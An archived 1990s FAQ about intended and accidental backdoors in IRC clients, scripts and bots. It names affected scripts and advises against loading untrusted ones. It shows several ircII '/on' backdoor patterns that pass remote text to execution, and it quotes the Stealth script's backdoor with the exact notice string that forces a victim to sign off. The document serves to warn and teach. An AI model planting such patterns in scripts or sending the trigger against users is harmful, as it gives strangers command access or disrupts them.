home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack / irc-backdoor.faq < prev    next >
Encoding:
Text File  |  1997-09-25  |  8.8 KB  |  217 lines

  1.           Bugs and Backdoors in IRC clients, scripts and bots
  2.  
  3.           ---------------------------------------------------
  4.  
  5.  
  6.  
  7.  
  8.  
  9. 1. What is a backdoor?
  10.  
  11. ----------------------
  12.  
  13.  
  14.  
  15. A backdoor is a feature of a program that can be used to make it act in 
  16.  
  17. some way that the person who is running it did not intend. 
  18.  
  19.  
  20.  
  21. Among IRC-related programs, bots, clients and scripts can have 
  22.  
  23. backdoors.
  24.  
  25.  
  26.  
  27. An important point to note is that some backdoors are intentional and 
  28.  
  29. some are not; with ircII scripts specifically, the problem is that
  30.  
  31. ircII is not a very clear programming language when it comes to 
  32.  
  33. evaluation, and neither is sh/csh (used in all the /EXECs), and it's 
  34.  
  35. easy for someone who doesn't really understand what he's doing to put 
  36.  
  37. unwanted backdoors. In clients and bots, which are usually written in
  38.  
  39. C, the bugs or backdoors tend to be harder to find and exploit.
  40.  
  41.  
  42.  
  43. The line between an unintended backdoor and a bug is rather thin, I'd 
  44.  
  45. call it a backdoor if it can be used to make the bot do somethign 
  46.  
  47. specific, and just a bug if it can be used only to make the client or
  48.  
  49. bot disconnect (ping timeout, or excess flood).
  50.  
  51.  
  52.  
  53.  
  54.  
  55. 2. How dangerous can a backdoor be?
  56.  
  57. -----------------------------------
  58.  
  59.  
  60.  
  61. A backdoor can be more or less ``powerful'', according to how much 
  62.  
  63. access to your client's features and/or account it gives to an intruder.
  64.  
  65.  
  66.  
  67. In the worst cases, a backdoor will let an intruder execute arbitrary 
  68.  
  69. commands on the machine your client or bot is running, allowing full 
  70.  
  71. access to your account. This can in turn allow an intruder to compromise
  72.  
  73. your whole system's security, by cracking passwords or otherwise. They
  74.  
  75. can also make you send mail, post to Usenet, etc. I will call this 
  76.  
  77. giving Unix access.
  78.  
  79.  
  80.  
  81. In other cases, the backdoor will let the intruder control your IRC 
  82.  
  83. client, making it do all IRC-related things like joining channels, 
  84.  
  85. speaking in them, or signing off, or /killing if you're an IRCop. I will 
  86.  
  87. call this giving IRC access.
  88.  
  89.  
  90.  
  91. And in some cases, the backdoor will only let them do some specific 
  92.  
  93. things. The most common case is when the backdoor only lets an intruder 
  94.  
  95. disconnect you from IRC.
  96.  
  97.  
  98.  
  99. Typically, unintended backdoors and bugs will either give full Unix and 
  100.  
  101. IRC access, or just let anyone kill the client.
  102.  
  103.  
  104.  
  105.  
  106.  
  107. 3. What known scripts, clients and bots have backdoors?
  108.  
  109. -------------------------------------------------------
  110.  
  111.  
  112.  
  113. Off the top of my head (I've *SEEN* all of these, and some of them I've 
  114.  
  115. found myself) :
  116.  
  117.  
  118.  
  119.   * iNFiNiTY, toolZ, UltBox (and probably other related scripts) have a
  120.  
  121.     backdoor (very likely unintended) that gives full Unix access to
  122.  
  123.     anyone.
  124.  
  125.  
  126.  
  127.   * early versions of GargOyle have an intended backdoor (supposedly
  128.  
  129.     stolen from some other script) that gives Unix and IRC access to
  130.  
  131.     anyone.
  132.  
  133.  
  134.  
  135.   * some versions of PhoEniX have an unintended backdoor that let people
  136.  
  137.     make you signoff
  138.  
  139.   
  140.  
  141.   * Pillow Fighter II has an intended backdoor that gives Unix and IRC
  142.  
  143.     access to anyone.
  144.  
  145.  
  146.  
  147.   * Stealth has at least 2 intended backdoors, one of which gives
  148.  
  149.     Unix and IRC access to anyone, and the other one that lets people
  150.  
  151.     make you signoff.
  152.  
  153.  
  154.  
  155.   * Some (old) versions of Axis have a backdoor that give on specific 
  156.  
  157.     person Unix and IRC access, and another one that makes you give him 
  158.  
  159.     ops. Recent versions supposedly don't have it; I haven't checked 
  160.  
  161.     them.
  162.  
  163.  
  164.  
  165.   * Some (hacked?) versions of the VeVeS script have an intended 
  166.  
  167.     backdoor that gives Unix and IRC access to anyone.
  168.  
  169.  
  170.  
  171.   * IrcOP.irc is a trojan horse script (i.e. it does NOTHING useful for
  172.  
  173.     you) which removes all your files, opens your account to anyone,
  174.  
  175.     and makes you do obnoxious stuff on IRC.
  176.  
  177.  
  178.  
  179.   * Some (hacked?) versions of the ComBot bot have an intended backdoor 
  180.  
  181.     that gives IRC access to anyone.
  182.  
  183.     
  184.  
  185.   * eggdrop bots, if improperly configured, can give Unix access to
  186.  
  187.     to anyone with bot-master privileges.
  188.  
  189.   
  190.  
  191.   * All VladBots, ComBot, HackBots, Kn1ghtBots, DweebBots, StelBots and 
  192.  
  193.     similar bots can be killed (segmentation fault, bus error, or ping 
  194.  
  195.     timeout, according to specific details), with more or less 
  196.  
  197.     difficulty (and without flooding them).
  198.  
  199.  
  200.  
  201.   * Some hacked old version of ircII 2.2.9 have a backdoor that gives
  202.  
  203.     anyone Unix and IRC access. This one was the object of a CERT 
  204.  
  205.     advisory.
  206.  
  207.  
  208.  
  209.   * Old versions of ircII (prior to 2.3.x-beta) have a bug in the 
  210.  
  211.     filtering of escape sequences that lets anyone with ops on a
  212.  
  213.     channel where you are to mess up your screen.
  214.  
  215.  
  216.  
  217.   * Old versions of ircII (prior to 2.6) have a bug in DCC handling
  218.  
  219.     that lets someone make you ping timeout once you have a DCC
  220.  
  221.     connection with them.
  222.  
  223.  
  224.  
  225. This is by no means a comprehensive list; there are tons of scripts out 
  226.  
  227. there and I don't spend my time skimming them all. In particular I've 
  228.  
  229. never looked closely at TextBox or LiCe, and I know of no-one who has, 
  230.  
  231. so I wouldn't trust them either.
  232.  
  233.  
  234.  
  235.  
  236.  
  237. 4. How does a backdoor work?
  238.  
  239. ----------------------------
  240.  
  241.  
  242.  
  243. In ircII, backdoors are typically /on statements like these:
  244.  
  245.  
  246.  
  247. #1  -   /on ^ctcp "% % BACKDOOR *" $3-
  248.  
  249. #2  -   /on ^notice "% BACKDOOR *" $2-
  250.  
  251. #3  -   /on ^ctcp "% % BACKDOOR *" quote $3-
  252.  
  253. #4  -   /on ^ctcp "% % DCC SEND % *" exec -name stuff ls $5
  254.  
  255. #5  -   /on -notice "% STUFF*" eval ^assign blah $3-
  256.  
  257.  
  258.  
  259. #1 and #2 are obviously intended, and give anyone IRC and Unix
  260.  
  261. (by sending EXEC commands) access.
  262.  
  263.  
  264.  
  265. #3 is obviously intended too, and gives IRC access only.
  266.  
  267.  
  268.  
  269. #4 looks like an unintended bug, but still gives full Unix access
  270.  
  271. to anyone (beware, this can be made safe by $strip()ing lots of
  272.  
  273. characters, but is a potentially dangerous thing to do. Did *you*
  274.  
  275. know that ^ is interpreted like | by SunOS /bin/sh's?).
  276.  
  277.  
  278.  
  279. With #5, the problem is the eval, but once again, since ircII lets
  280.  
  281. you execute the contents of variables without an eval, looking for
  282.  
  283. all the evals and all the /on's and all the /exec's is *not* a safe
  284.  
  285. way to be sure a script is backdoor-free.
  286.  
  287.  
  288.  
  289.  
  290.  
  291. Finally, a real example of a backdoor, for the most skeptical; this
  292.  
  293. is taken straight out of the Stealth script:
  294.  
  295.  
  296.  
  297. alias qwrrw {
  298.  
  299.    /echo [^BFate^B] You have been killed
  300.  
  301.    /signoff I'm a dork, and I am sorry for disturbing you all.  I'll leave now}
  302.  
  303.  
  304.  
  305. on ^notice "% 53764^B^B856324^B^B32fd563gf^Vds5rx^B^Bfdtsr5ss54" {/qwrrw}
  306.  
  307.  
  308.  
  309. So if someone is running Stealth, all you have to do is
  310.  
  311. /notice nickname 53764^B^B856324^B^B32fd563gf^Vds5rx^B^Bfdtsr5ss54
  312.  
  313. and they signoff.
  314.  
  315.  
  316.  
  317. And I'd like to see anyone arguing that this was not intended...
  318.  
  319.  
  320.  
  321.  
  322.  
  323. 5. How can I avoid backdoors?
  324.  
  325. -----------------------------
  326.  
  327.  
  328.  
  329. It all comes to a simple fact: IRC is full of people who cannot be 
  330.  
  331. trusted, and running (/load'ing) a script (or a bot) that someone sent 
  332.  
  333. you is akin to putting a *lot* of trust in this person, *AND* in all the 
  334.  
  335. people who have had this script between the original author and whoever 
  336.  
  337. sent it to you. You don't only need to trust that the person doesn't 
  338.  
  339. mean to harm you, but also that the person can *check* and make sure 
  340.  
  341. that they aren't going to.
  342.  
  343.  
  344.  
  345. War scripts like Serpent and Phoenix and TextBox and LiCe are the least 
  346.  
  347. trustable for a number of reasons:
  348.  
  349.  
  350.  
  351.   * Someone who writes a script (or puts his name at the top of a bunch
  352.  
  353.     of stolen routines) that can be disruptive to the net is obviously 
  354.  
  355.     not someone who is interested in doing people a favor. Trusting
  356.  
  357.     their code is really the thing not to do.
  358.  
  359.   
  360.  
  361.   * These scripts tend to be *very* big (200k is no uncommon...) and
  362.  
  363.     thus are a pain to check. I have looked at some in enough detail
  364.  
  365.     to find backdoors, but you need to look a *lot* more carefully
  366.  
  367.     to be able to say that there are none left. Definitely not for
  368.  
  369.     the casual user.
  370.  
  371.  
  372.  
  373.   * They are often distributed from one to another, instead of getting
  374.  
  375.     them from some "official" place. This means that any one with a 
  376.  
  377.     minimum knowledge of ircII scripting can add 2 lines in the middle 
  378.  
  379.     of Phoenix, increase the version number, and send it around.
  380.  
  381.  
  382.  
  383.  
  384.  
  385. The scripts *I* would personally trust:
  386.  
  387.  
  388.  
  389.   zer0     -  I've written it myself, so I know there are no backdoors, 
  390.  
  391.           I'm reasonably sure there are no exploitable bugs, and 
  392.  
  393.           it's small enough for anyone to check in a reasonable 
  394.  
  395.           time.
  396.  
  397.           You can get it from 
  398.  
  399.           http://www.eleves.ens.fr:8080/home/espel/index.html.
  400.  
  401.  
  402.  
  403.   Deturbo  -  Written by DeadelviS.
  404.  
  405.  
  406.  
  407.   SuperPak -  Written by TG; get version 3.2, *not* Barron's version
  408.  
  409.           (numbered 5.4).
  410.  
  411.  
  412.  
  413. All of these can be found in ftp://isr0954.urh.uiuc.edu/pub/irc/scripts
  414.  
  415.  
  416.  
  417.  
  418.  
  419. ------------------------------------------------------------------------
  420.  
  421.  
  422.  
  423. You can send any additional comments to:
  424.  
  425.  
  426.  
  427.    orabidoo <roger.espel.llima@ens.fr>
  428.  
  429.  
  430.  
  431.  
  432.  
  433.